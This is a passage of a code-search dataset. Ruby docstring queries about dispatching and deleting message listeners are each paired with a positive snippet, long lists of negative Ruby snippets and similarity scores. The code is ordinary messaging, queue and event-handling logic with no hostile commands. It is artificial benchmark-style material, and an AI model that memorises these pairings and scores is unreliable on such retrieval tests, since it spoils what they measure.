*args, &block)\n raise \"Mutable methods not allowed\" unless allowed?(name)\n @target.__send__(name, *args, &block)\n end", "def create_target(host,port,ssl,sel)\n\t\ttar = WmapTarget.create(\n\t\t\t\t:host => host,\n\t\t\t\t:address => host,\n\t\t\t\t:port => port,\n\t\t\t\t:ssl => ssl,\n\t\t\t\t:selected => sel\n\t\t\t)\n\t\t#framework.events.on_db_target(rec)\n\tend", "def target(name)\n target = targets.find { |target| target.name == name }\n abort \"The target named #{name} not found.\" if target.nil?\n return target\n end", "def say(msg, recipient = nil)\n recipient ||= @msg.reply_to if @msg\n @bot.msg(recipient, msg)\n end", "def target(name, options = {})\n parent = @target_definition\n @target_definitions[name] = @target_definition = TargetDefinition.new(name, options[:exclusive] ? nil : parent, options[:include_headers_for] ? @target_definitions[options[:include_headers_for]] : nil)\n yield\n ensure\n @target_definition = parent\n end", "def <<(message)\n if @thread.alive?\n @actorQueue << message\n @main.shift\n else \n raise DeadActor, \"Actor is dead!\"\n end\n end", "def queue_msg(msg)\n dispatch_msg(msg)\n end", "def add_link(key, name)\n passage = Passage.where(name: name).first\n\n self.links << Link.create({ key: key, passage: passage })\n end", "def on_msg(msg)\n\n on_message(false, msg)\n end", "def test_create_reply_to_standalone_message_about_nothing\r\n reply_to = messages(:andy_to_kevin_about_nothing)\r\n about = nil\r\n send_message(@kevin, @andy, reply_to, about)\r\n end", "def add_message(mesg, log_employee)\n subject \"From: #{mesg.sent_by.name}, Resume: #{mesg.resume.name}\"\n recipients [ mesg.sent_to.email ]\n from [ log_employee.email ]\n reply_to [ \"recruitment-no-reply@mirafra.com\" ]\n sent_on Time.now\n content_type 'text/html'\n body :emp_from => mesg.sent_by,\n :emp_to => mesg.sent_to,\n :mesg => mesg\n end", "def put_message(payload, reply_queue_name = \"\")\n @queue_handle = open_queue(@queue_manager.connection_handle, @queue_name, Constants::MQOO_OUTPUT) if @queue_handle.nil?\n\n message_id = put_message_on_queue(@queue_manager.connection_handle, @queue_handle, payload, reply_queue_name)\n\n close_queue(@queue_manager.connection_handle, @queue_handle, Constants::MQCO_NONE)\n @queue_handle = nil\n\n message_id\n end", "def add_target_tb(ev, priority = 0)\n @target_evs_tb[priority] = ev\n end" ]
[ "0.6601231", "0.6339349", "0.6111804", "0.5882971", "0.57765985", "0.5632621", "0.5603092", "0.55837256", "0.55542886", "0.5527673", "0.55179965", "0.5507411", "0.54249394", "0.5408368", "0.53592014", "0.52734494", "0.5268719", "0.5240212", "0.5216382", "0.51726377", "0.5121438", "0.5097915", "0.5050817", "0.5047492", "0.5021334", "0.501033", "0.49931043", "0.49868304", "0.4980082", "0.4976291", "0.49614197", "0.49571002", "0.49571002", "0.49568552", "0.4938908", "0.4938723", "0.49321914", "0.49216485", "0.49188086", "0.491387", "0.49118507", "0.49108577", "0.49052373", "0.4901659", "0.48996162", "0.48975086", "0.4896523", "0.48928636", "0.48904023", "0.48903716", "0.4882069", "0.48754373", "0.48632798", "0.48601276", "0.4857604", "0.48528686", "0.4852301", "0.48492807", "0.4844786", "0.48440844", "0.483876", "0.48281425", "0.482226", "0.48205537", "0.48186636", "0.4813251", "0.48080254", "0.48067173", "0.4802106", "0.4786269", "0.4782483", "0.47712278", "0.47630137", "0.47587687", "0.47520915", "0.4749601", "0.4748752", "0.47471648", "0.4742998", "0.4738999", "0.4733542", "0.47332934", "0.4733259", "0.47316462", "0.47240633", "0.47178993", "0.47152388", "0.4713412", "0.47113472", "0.47050124", "0.47042906", "0.47010788", "0.46980974", "0.469684", "0.46945965", "0.4691744", "0.46854493", "0.4684813", "0.4683513", "0.4671938" ]
0.6440258
1
Deletes the message target +msgName+.
def del_msg_name( msgName ) @msgNames.delete msgName if defined? @msgNames end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n @client.post('/api/del_msg', id: get_attribute(:name))\n end", "def remove_message(name)\n\t\tend", "def del_msg_listener( msgName, object )\n @msgNames[msgName].delete object if defined? @msgNames\n end", "def delete_msg()\n MsgUtil.delete_msg(params[:ch])\n end", "def destroy\n # delete a specific message\n end", "def delete_message(queue_name, message_id, pop_receipt)\r\n execute :delete, \"#{queue_name}/messages/#{message_id}\", { :pop_receipt => pop_receipt }\r\n end", "def delete\n @service.delete_message(self)\n end", "def destroy\n # delete a specific message\n end", "def destroy\n destroy_q(@message, messages_url)\n end", "def destroy\n # delete a specific message\n end", "def destroy\n get_message().delete\n end", "def delete_message(display_id, message_id)\n delete \"commandcenter/displays/#{display_id}/messages/#{message_id}\"\n end", "def destroy\n @message.destroy\n end", "def delete_message(id)\n record \"/msg/delete/#{id}\"\n end", "def delete_message(data); end", "def delete_message(data); end", "def delete(msg)\n read_write()\n uid = (msg.kind_of?(EasyIMAP::Message) ? msg.uid : msg)\n @conn.uid_store(uid, '+FLAGS', [:Deleted])\n expunge()\n end", "def destroy\n @message = Messages.find(params[:id])\n @message.destroy\n end", "def message_delete(id)\n request(:delete, \"messages/#{id.to_s}\")\n end", "def destroy\n #@message = Message.find(params[:id])\n #@message.destroy\n #redirect_to projects_path\n current_user.delete_message(ActsAsMessageable::Message.find(params[:id]))\n redirect_to trash_url\n end", "def delete_message(message)\n API::Channel.delete_message(@bot.token, @id, message.resolve_id)\n end", "def delete_message(message)\n client.delete_message(\n queue_url: @job_queue.queue_url,\n receipt_handle: message.receipt_handle,\n )\n end", "def delete_message(message)\n client.delete_message(\n queue_url: @job_queue.queue_url,\n receipt_handle: message.receipt_handle,\n )\n end", "def delete_message(queue_name, message_id, pop_receipt, options = {})\n query = { \"popreceipt\" => pop_receipt }\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n\n uri = message_uri(queue_name, message_id, query)\n\n call(:delete, uri, nil, {}, options)\n nil\n end", "def destroy\n message = Message.find(params[:id])\n message.destroy\n end", "def messagedelete\n TDirmessage.find_by(\"dirmsg_id=?\", params[:messagedelete]).delete\n redirect_back(fallback_location: dirmsgcreate_path)\n end", "def delete(message_id)\n Mailgun.submit :delete, messages_url(message_id)\n end", "def rm(msgid)\n req(\"rm\", \"\", \"\", msgid, \"\")\n end", "def deleteTarget(name=nil)\n clickTargetTabByName(name) if not name.nil?\n @deleteTargetBtn.click\n snooze 1\n popup = WarningDialogPopup.new\n popup.verifyPopupTitle(\"Delete Target\")\n popup.verifyPopupText(\"Are you sure you want to delete the selected target?\")\n\n popup.clickBtn(\"Delete\")\n\n return AddTargets.new.verifyTargetNotPresent(name)\n end", "def destroy\n @message.destroy\n \n flash[:success] = \"Your message was successfully deleted.\"\n redirect_to @message\n end", "def delete_message(message_id)\n @api.delete(\"#{@api.path}/List/#{@id}/Email/#{message_id}\")\n end", "def destroy\n @user_message.destroy\n end", "def delete_message(message_id)\n RestClient.delete(\"#{@url}/messages/#{message_id}\")\n end", "def message_destroy(id)\n post(\"/direct_messages/destroy/#{id}.json\")\n end", "def message_destroy(id)\n post(\"/direct_messages/destroy/#{id}.json\")\n end", "def destroy (name, update_seen_on=true)\n if where = exist?(name)\n @messages[where.last].delete(where.first)\n @by_id.delete(where.first.name)\n @seen_on[where.first.name] = Time.now.to_i if update_seen_on and where.first.options[:remember]\n end\n end", "def remove_recipient(name)\n name_li(name).link(:text=>\"x\").click\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n redirect_to(:action => \"index\")\n end", "def destroy\n @message = Message.find(params[:id])\n if current_user.received_messages.find(@message)\n MessageRecipient.find_by_user_id_and_message_id(current_user, @message.id).destroy\n\n else\n @message.destroy\n end\n \n\n respond_to do |format|\n format.html { redirect_to account_messages_url }\n format.xml { head :ok }\n end\n end", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end", "def destroy\n \tif @message = Message.related(current_user.id).find(params[:id])\n\n if @message.destroy\n flash[:notice] = \"Message deleted.\"\n else\n flash[:error] = \"Message could not deleted.\"\n end\n\n else\n flash[:error] = \"Message could not be deleted. You are not the owner of the message.\"\n end\n redirect_to messages_path\n end", "def quit msg\n return unless msg.connection == @connection\n\n delete_user msg.nick_canon\n end", "def delete(message_text)\n self.span(:class=>\"discussion_post_message\", :text=>message_text).parent.parent.button(:text=>\"Delete\").click\n end", "def destroy\n @user = User.find(current_user)\n @message = @user.messages.find(params[:id])\n @message.destroy\n\n end", "def destroy\n @msg.destroy\n respond_to do |format|\n format.html { redirect_to msgs_url }\n format.json { head :no_content }\n end\n end", "def delete(name)\n @ctx.delete(@path + name)\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n head :no_content\n end", "def delete_message(message_title)\n full_path = \"#{full_queue_path}/#{message_title}\"\n locker = @zk.locker(\"#{full_queue_path}/#{message_title}\")\n if locker.lock!\n begin\n @zk.delete(full_path)\n return true\n ensure\n locker.unlock!\n end\n else\n return false\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n head :no_content\n end", "def destroy\n @message.destroy\n redirect_to action: :index\n end", "def supprimerMessage(indice)\r\n\t\t@lstMessages.delete(indice) if @lstMessages.has_key?(indice)\r\n\tend", "def delete_request(req)\n req[:sqs_msg].delete\n end", "def delete(key)\n messages.delete(key)\n end", "def delete(key)\n messages.delete(key)\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n render json: 'Message was successfully deleted', status: :ok\n end", "def destroy\n @msg.destroy\n respond_to do |format|\n format.html { redirect_to msgs_url, notice: 'Msg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :ok }\n end\n end", "def destroy\n \t\n @message = Message.find(params[:id])\n @message.delete\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def delete_message(token, id, user = nil)\n request_url = user_context(user) << \"/Messages/\" << id\n\n delete_response = make_api_call \"DELETE\", request_url, token\n\n return nil if delete_response.nil? || delete_response.empty?\n\n parse_response(delete_response)\n end", "def remove_message(id)\n with_queue_control do |control|\n control.remove_message(id)\n end\n end", "def rmd(msg)\n msg = msg.join(\" \") if msg.is_a? Array\n\n if File.directory? msg\n Dir::delete msg\n elsif File.file? msg\n File::delete msg\n end\n log \"[DEBUG] #{thread[:user]} deleted #{Dir::pwd}/#{msg}\"\n \"200 OK, deleted #{msg}\"\n end", "def destroy\n @send_message = SendMessage.find(params[:id])\n @send_message.destroy\n\n respond_to do |format|\n format.html { redirect_to(send_messages_url) }\n format.xml { head :ok }\n end\n end", "def remove_command\n return if !has_manage_messages_permission?\n command.event.message.delete\n end", "def destroy\n\t\t@message = Message.find(params[:id])\n\t\t@message.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(messages_url) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend", "def del_from_rules(msg)\n if file_util(rules_file).remove_line(msg[2])\n reply = \"Removed lines from #{rules_file} mathing #{msg[2].inspect}.\"\n else\n reply = \"Lines mathing #{msg[2].inspect} were not found.\"\n end\n\n send_response(reply)\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n redirect_to(:back) \n\n end", "def destroy\n @message = Admin::Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_messages_url) }\n format.xml { head :ok }\n end\n end", "def delete(key)\n messages.delete(key)\n end", "def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end", "def unsubscribe(message_name)\n @transport.unbind(message_name, @queue)\n \n #has key check\n @subscriptions.delete(message_name)\n \n end", "def delete_topic topic_name\n publisher.delete_topic topic: topic_path(topic_name)\n end", "def destroy_direct_message(direct_message_id)\n delete \"direct_messages/destroy/#{direct_message_id}\"\n end", "def clear_queue(queue_name)\r\n execute :delete, \"#{queue_name}/messages\", {}, :x_ms_version => '2009-09-19'\r\n end", "def deleted(name, person_id)\n @person = Person.find(person_id)\n @person_deleted = name\n\n mail to: @person.email\n end", "def remove message\n @events.delete message.sequence\n end", "def destroy\n @text_message = TextMessage.find(params[:id])\n @text_message.destroy\n\n respond_to do |format|\n format.html { redirect_to text_messages_url }\n format.json { head :no_content }\n end\n end", "def delete_message_template(id)\n @client.raw('delete', \"/content/message-templates/#{id}\")\n end", "def destroy\n\t\tchannel_sid = params[:channel_sid]\n\t\tmessage_sid = params[:id]\n\t\tputs message_sid\n\t\t@client = Twilio::REST::Client.new(ENV['account_sid'], ENV['auth_token'])\n\t\t# Remove the member\n\t\tservice = @client.chat.v2.services(ENV['service_sid'])\n\t\tchannel = service.channels(channel_sid)\n\t\tresponse = channel.messages(message_sid).delete\n\t\tputs response\n\t\tmessages_response= \"{\\n\\\"message\\\": \\\"Message was deleted\\\"\\n}\"\n\t\tjson_response(messages_response)\n\tend", "def destroy\n @text_message = @profile.text_messages.find(params[:id])\n @text_message.destroy\n\n respond_to do |format|\n format.html { redirect_to(profile_text_messages_url(@profile)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mentor_message = MentorMessage.find(params[:id])\n @mentor_message.destroy\n\n respond_to do |format|\n format.html { redirect_to mentor_messages_url }\n format.json { head :no_content }\n end\n end", "def delete(name); end", "def delete(name); end", "def delete(sql, name = nil)\n delete_sql(sql, name)\n end", "def destroy\n @message = current_user.messages.find_by_id(params[:id])\n if @message\n @message.destroy\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :no_content }\n end\n else\n not_the_owner\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n @message.destroy\n respond_to do |format|\n format.html { redirect_to administrators_messages_path(@message), notice: 'Новость удалена.' }\n end\n end", "def destroy\n @message_board = MessageBoard.find(params[:id])\n @message_board.destroy if @is_admin\n redirect_to home_message_boards_path(@current_home)\n end", "def process_message(message)\n display_message(message.message_id, message.body)\n\n sqs = Aws::SQS::Client.new(region: ENV['AWS_REGION'])\n sqs.delete_message(queue_url: ENV['SQS_ENDPOINT'],\n receipt_handle: message.receipt_handle)\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.xml { head :ok }\n end\n end", "def del(name)\n data.delete(name)\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url, notice: 'message.deleted' }\n format.json { head :no_content }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to(messages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @qx_message.destroy\n respond_to do |format|\n format.html { redirect_to qx_messages_url, notice: 'Message was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def del(msg_id, suffix)\n with_failover { redis.del(key(msg_id, suffix)) }\n end", "def delete(name)\n File.delete(path(name))\n end", "def destroy\n @message.destroy\n respond_to do |format|\n format.html { redirect_to user_project_app_thread_url(@user,@project,@app_thread), notice: 'Message was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.76744175", "0.73386955", "0.7197245", "0.7181386", "0.6937953", "0.6749326", "0.66964567", "0.6694406", "0.66046596", "0.6551827", "0.65110856", "0.6469001", "0.6410771", "0.63640195", "0.6360717", "0.6360717", "0.63413745", "0.6288525", "0.6240895", "0.62289816", "0.6220091", "0.6210017", "0.6208444", "0.6188661", "0.6187908", "0.6187866", "0.6184879", "0.60727566", "0.6072518", "0.60496545", "0.6046156", "0.60428864", "0.599569", "0.59904456", "0.59904456", "0.5974272", "0.59480363", "0.5943797", "0.5941702", "0.5897046", "0.5889661", "0.5881193", "0.5879129", "0.5860433", "0.58375823", "0.5837502", "0.58312756", "0.5830098", "0.5829825", "0.58065933", "0.57947844", "0.57845986", "0.57481354", "0.57481354", "0.57419896", "0.57384294", "0.573582", "0.57087445", "0.56900495", "0.5684128", "0.5678297", "0.5675242", "0.5672802", "0.5663968", "0.5652934", "0.5641695", "0.5640355", "0.56396544", "0.563795", "0.56342196", "0.56329745", "0.56283754", "0.5617171", "0.55960757", "0.559351", "0.55901587", "0.55846924", "0.55815834", "0.5577067", "0.5570935", "0.5565833", "0.5565833", "0.5552196", "0.55212027", "0.55168074", "0.5510591", "0.54999185", "0.5493575", "0.54866743", "0.54824644", "0.5481322", "0.54577136", "0.54577136", "0.54577136", "0.54577136", "0.5457559", "0.545699", "0.5456127", "0.54525346", "0.5447508" ]
0.82614136
0
Dispatches the message +msgName+ to all listeners for this message, providing the given arguments
def dispatch_msg( msgName, *args ) if defined? @msgNames and @msgNames.has_key? msgName @msgNames[msgName].each do |obj| obj.call( *args ) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dispatch_event(event_name, args)\n @event_message_channels[event_name].each do |message_channel|\n message_channel.send [:event, event_name, args]\n end\n end", "def notify_listeners(event_name, *args)\n listeners.each_value { |listener|\n if listener.respond_to?(event_name)\n listener.__send__(event_name, *args)\n end\n }\n end", "def dispatch_command(command_name, args)\n @command_message_channels[command_name].each do |message_channel|\n message_channel.send [:command, command_name, args]\n end\n end", "def emit(name, *args)\n @callbacks[name].each do |callback|\n callback.(*args)\n end\n end", "def xsend (name, *args, &block)\n @messages << [name, args, block]\n end", "def notify_listeners(event, args={})\n @listeners.each do |listener|\n if listener.respond_to?(event) && listener.supports?(@name)\n $logger.info(\"Notifying #{listener.class.name} of #{event} event\")\n listener.send(event, args)\n end\n end\n end", "def callback (name, params=[])\n @receiver.send(name, *params) if @receiver.respond_to?(name)\n end", "def call_subscribers(method_name, *args)\n @in_call = true\n subscribers.each do |s|\n # Skip new/unsupported event names\n next unless s.respond_to?(method_name)\n\n mth = s.method(method_name)\n # Trim arguments to match what the subscriber expects to allow\n # adding new arguments without breaking compat.\n if mth.arity < args.size && mth.arity >= 0\n mth.call(*args.take(mth.arity))\n else\n mth.call(*args)\n end\n end\n ensure\n @in_call = false\n end", "def broadcast(msg, *args)\n subscribers.each do |subscr|\n next unless subscr.respond_to?(msg) || subscr.respond_to?(:accept_all)\n\n subscr.send(msg, runtime, *args)\n end\n end", "def method_missing(name, *args, &block)\n self.receiver.send name, *args, &block\n end", "def send_message(msg, *args)\n speakers = get_speakers(@resource[:name])\n Puppet.debug(\"#{resource[:name]} => #{msg} => #{args}\")\n speakers.each { |s| s.send msg, *args }\n end", "def broadcast(event_name, payload)\n @subscribers.map do |subscriber|\n subscriber.call(event_name, payload)\n end\n end", "def call(event, *args)\n return unless @listeners[event]\n @listeners[event].each do |callback|\n callback.call(*args)\n end\n end", "def dispatch(*args)\n log(:debug) { 'Dispatch message to worker.' }\n\n fetch_idle_worker.future :dispatch, args\n end", "def on_hook_log_message(args)\n @messages << args[0]\n end", "def dispatch(t_msg)\n self.send(@dispatcher_block, t_msg)\n end", "def del_msg_listener( msgName, object )\n @msgNames[msgName].delete object if defined? @msgNames\n end", "def trigger_event(event_name, *args)\n event_callbacks[event_name].each do |cb|\n begin\n cb.call(*args)\n rescue Exception => ex\n warn \"[OnStomp/Event] triggering #{event_name} raised an error: #{ex}\"\n end\n end\n end", "def message( *msgs )\n\t\tself.class.message( *msgs )\n\tend", "def execute_callbacks(name, *args) #:nodoc:\n (callbacks[name.to_s] || []).inject(nil) do |prev_value, callback|\n callback.call(self, *args)\n end\n end", "def receive_message(queue_name, message)\n listener = listeners[queue_name]\n raise_dispatch_error(message) unless listener\n listener.dispatch(message)\n end", "def notify(*args)\n subscribers.values.each { |subscriber| subscriber.call(*args) }\n end", "def run_hook(name, *args)\n # return unless hooks = Resque.send(name)\n return unless hook = APN::QueueManager.send(name)\n msg = \"Running #{name} hook\"\n msg << \" with #{args.inspect}\" if args.any?\n log msg\n\n # Newer resque versions allow for multiple hooks rather than just one.\n # APN sender may still just return a single hook so massage the value\n # to always be inside an Array.\n hooks = hook.is_a?(Array) ? hook : Array[hook]\n hooks.each do |hook|\n args.any? ? hook.call(*args) : hook.call\n end\n end", "def handle(msg)\n msg_obj = Octo::Message::Message.new(msg)\n msg = msg_obj.to_h\n begin\n eventName = msg[:event_name]\n if (valid_events.include?eventName)\n call_hooks(eventName, msg)\n end\n rescue Exception => e \n puts e.message\n puts e.backtrace.inspect\n end\n end", "def on_msg(msg)\n\n on_message(false, msg)\n end", "def emit(events, *arguments)\n list(events).each do |event_name|\n event_listeners = listeners[event_name.to_sym] || []\n event_listeners.each do |listener|\n listener.call(*arguments)\n end\n end\n\n self\n end", "def on_msg type, action, data, socket\n @listeners[type]&.each do |l|\n begin\n l.call(type, action, data, socket)\n rescue => e\n puts \"[WSOCK] Websocket Listener Threw Exception: #{e}\"\n puts e.backtrace.map { |x| \"[WSOCK]!\\t #{x}\" }\n end\n end\n end", "def message( *msgs )\n\t\t\tself.class.message( *msgs )\n\t\tend", "def define_sending_method(name)\n self.class.send(:define_method, name) do |*args|\n @queue.send_message build_method_call(name, *args)\n end\n end", "def dispatch(messages)\n initialize_description!\n send_messages(messages)\n end", "def process_msgs\n end", "def fire(event, *args) #:nod\n ensure_valid event\n listeners = @subscriptions[event] if @subscriptions\n listeners.each do |l|\n if l.is_a? Array\n l[0].send(l[1],*args)\n else\n l.call(*args)\n end\n end if listeners\n end", "def listen(klass, *args)\n supervise klass, name, handlers, *args\n end", "def trigger_callbacks_for(msg)\n case msg.message_type\n\n # ----- server messages\n when RPL_WELCOME\n notify :registered_with_server\n when CMD_PING\n notify :server_ping, msg.params[0] # server wants the params back\n when CMD_ERROR\n notify :server_error\n\n # ----- nick-related -----\n when CMD_NICK\n @state[:nick] = msg.params[0] if msg.prefix[:nick] == @state[:nick]\n threaded_notify :nick_changed, msg.prefix[:nick], msg.params[0]\n when ERR_NICKNAMEINUSE\n # nickname errors are deterministic, that is, the client keeps track of the \n # state of attempted nick changes in @state, and the server responds to them\n # in order, so no additional info needs to be sent in the callback.\n # (this is tested)\n notify :nick_in_use\n when ERR_ERRONEUSNICKNAME\n notify :nick_invalid\n\n # ----- channel-related -----\n when CMD_JOIN\n threaded_notify :joined_channel, msg.user, msg.params[0]\n when CMD_PART\n threaded_notify :left_channel, msg.user, msg.params[0], msg.params[1]\n when CMD_QUIT\n threaded_notify :quit_server, msg.user, msg.params[0]\n when RPL_TOPIC # negative indices handle rfc and non-rfc commands\n threaded_notify :topic_changed, msg.params[-2], msg.params[-1], nil\n when CMD_TOPIC\n threaded_notify :topic_changed, msg.params[0], msg.params[1], msg.user\n when RPL_NAMREPLY\n @state[:scratch] ||= {}\n @state[:scratch][msg.params[-2]] ||= []\n # strip out leading mode characters: @, +, ~, etc.\n @state[:scratch][msg.params[-2]] += msg.params[-1].split.map { |name| name.gsub(/^[^a-zA-Z\\[\\]\\\\`_\\^{}\\|]/,'') }\n when RPL_ENDOFNAMES\n if @state[:scratch]\n threaded_notify :channel_name_list, msg.params[-2], ( @state[:scratch][msg.params[-2]] || [] )\n @state[:scratch].delete(msg.params[-2])\n else\n threaded_notify :channel_name_list, []\n end\n \n # ----- messaging -----\n when CMD_PRIVMSG\n if private?(msg)\n threaded_notify :private_message, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_message, msg.params[0], msg.params[1], msg.user\n end\n when CMD_NOTICE\n if private?(msg)\n threaded_notify :private_notice, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_notice, msg.params[0], msg.params[1], msg.user\n end\n\n end\n end", "def execute(*messages)\n messages.each { |msg| self.send(msg) }\n end", "def dispatch(msg, metadata: {}, restrict:)\n outputs = @outputs\n \n if restrict && (restrict.size > 0)\n outputs = outputs.reject{|name, out| !restrict.include?(name) }\n end\n \n outputs.each do |name, out|\n out.dispatch(msg, metadata)\n end\n end", "def trigger_on_message(msg); @app.on_message(msg); end", "def emit name, *args\n # Trigger callbacks in scripts before triggering events in the client.\n notify_scripts name, *args\n\n matching_callbacks = callbacks[name]\n return false unless matching_callbacks&.any?\n\n matching_callbacks.each { |callback| callback.call *args }\n end", "def add(*messages)\n messages = Message.to_messages([messages].flatten).compact\n @listener.add(*messages) unless messages.empty?\n messages\n end", "def method_missing(name, *args, &)\n @loggers.each do |logger|\n logger.send(name, args, &) if logger.respond_to?(name)\n end\n end", "def receives_messages\n Messenger.resolve(@@default_messenger).add_message_handler do |message|\n new.received(message)\n end\n end", "def method_missing(*args, &block)\n if block_given?\n @message.send(*args, &block)\n else\n @message.send(*args)\n end\n end", "def on_message(msg); @parent.on_message(@env, msg); end", "def do_dispatch(participant, msg)\n\n do_raw_dispatch(participant, msg)\n\n rescue => err\n @context.error_handler.msg_handle(msg, err)\n end", "def execute_hook(event_name, args)\n @hook_manager.exec_hook(event_name, args)\n end", "def method_missing(name)\n @listener_info[name.to_s]\n super\n end", "def sendAUMessage _args\n \"sendAUMessage _args;\" \n end", "def queue_msg(msg)\n dispatch_msg(msg)\n end", "def on_message(env, msg)\n env.logger.info(\"WS MESSAGE: #{msg}\")\n env.registry.inject(msg, env)\n end", "def multicast method_name, *args\n\t\t\t\t\t_inner_broadcast method: method_name, data: args, type: :all\n\t\t\t\tend", "def dispatch\n queue << nil\n while message = queue.shift\n consumers.each do |consumer|\n if response = consumer.on_message(message)\n @queue += Array(response)\n end\n end\n end\n end", "def notify_listeners(event)\n @listeners.each { |listener| listener.handle_delivery(event) }\n end", "def receive(message)\n self.class.listeners.map do |matcher, block|\n match = matcher.match(message)\n block.call(match) if match\n end.compact\n end", "def on_message(params={}, &proc)\n raise(ArgumentError, 'MessageConsumer::on_message requires a code block to be executed for each message received') unless proc\n\n # Turn on Java class persistence: https://github.com/jruby/jruby/wiki/Persistence\n self.class.__persistent__ = true\n\n @listener = JMS::MessageListenerImpl.new(params, &proc)\n self.setMessageListener(@listener)\n end", "def message_callbacks\n @messagecbs\n end", "def dispatch(event, *args)\n result = nil\n @events[event]&.each { |hdl| result = hdl.call(*args) }\n result\n end", "def forward_named_receiver(receiver, method, name, *_args)\n define_method(name) do |*args, &b|\n instance_variable_get(receiver).__send__(method, *_args, *args, &b)\n end\n end", "def method_missing(m, *args, &block)\n @messages << [m, args, block]\n end", "def hook(name, *args)\n name = ('hook_' + name.to_s).to_sym\n send name, *args if respond_to? name\n end", "def on(param)\n @messages[param]\n end", "def forward_message_id=(*args); end", "def listen( *args, &blok )\n if args[0].kind_of? Symbol\n if args.size == 2\n args[1].each { |match| @procs << [args[0], match, blok] }\n else\n add( [args[0], nil, blok] )\n end\n elsif args[0].kind_of? Array\n if args.size == 2\n args[0].each { |match| add( [nil, match, args[1]] ) }\n else\n args[0].each { |match| add( [ :start_element, match, blok ] ) }\n end\n else\n add([nil, nil, args[0]])\n end\n end", "def notify(msg)\n\n waiters, observers = @services.select { |n, s|\n s.respond_to?(:on_msg)\n }.sort_by { |n, s|\n n\n }.partition { |n, s|\n s.respond_to?(:wait_for)\n }\n\n (observers + waiters).each { |n, s| s.on_msg(msg) }\n end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_name && callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def on(name, &block)\n define_sending_method(name)\n define_receiving_method(name, &block)\n end", "def evt(name, &block)\n if name.is_a? String\n name = name.to_sym\n end\n if @listeners[name].nil?\n @listeners[name] = []\n end\n @listeners[name] << block\n end", "def fire(*args, &block)\n listeners.each do |listener|\n listener.call(*args, &block)\n end\n if options[:single_event]\n unregister_all\n end\n end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def method_missing(method_name, *args, &block)\n _, event_name, callback_name = *method_name.to_s.match(/^(\\w*?on_\\w+?)_(\\w+)$/)\n if callback_names.include?(callback_name.to_sym)\n public_send(event_name, :\"#{callback_name}\", *args, &block)\n else\n super\n end\n end", "def on_message(delivery, message)\n # Print received message\n if @log_msgs == \"body\"\n Formatters::BasicFormatter.new(message).print\n elsif @log_msgs == \"dict\"\n Formatters::DictFormatter.new(message).print\n end\n # If process reply to\n if @process_reply_to and !message.reply_to.nil?\n self.do_process_reply_to(message)\n end\n # Increase number of received messages\n @received = @received + 1\n # If all messages are received\n if @received == @count\n # Close receiver\n delivery.receiver.close\n # Close connection\n delivery.receiver.connection.close\n end # if\n end", "def dispatch_messages(type, messages, labels)\n messages.each { |message| dispatch(type, message) }\n # Avoid picking up messages over again\n @processed[type] = messages.first.id if messages.length > 0\n\n num = messages.length\n log.info \"Received #{num} #{num == 1 ? labels[0] 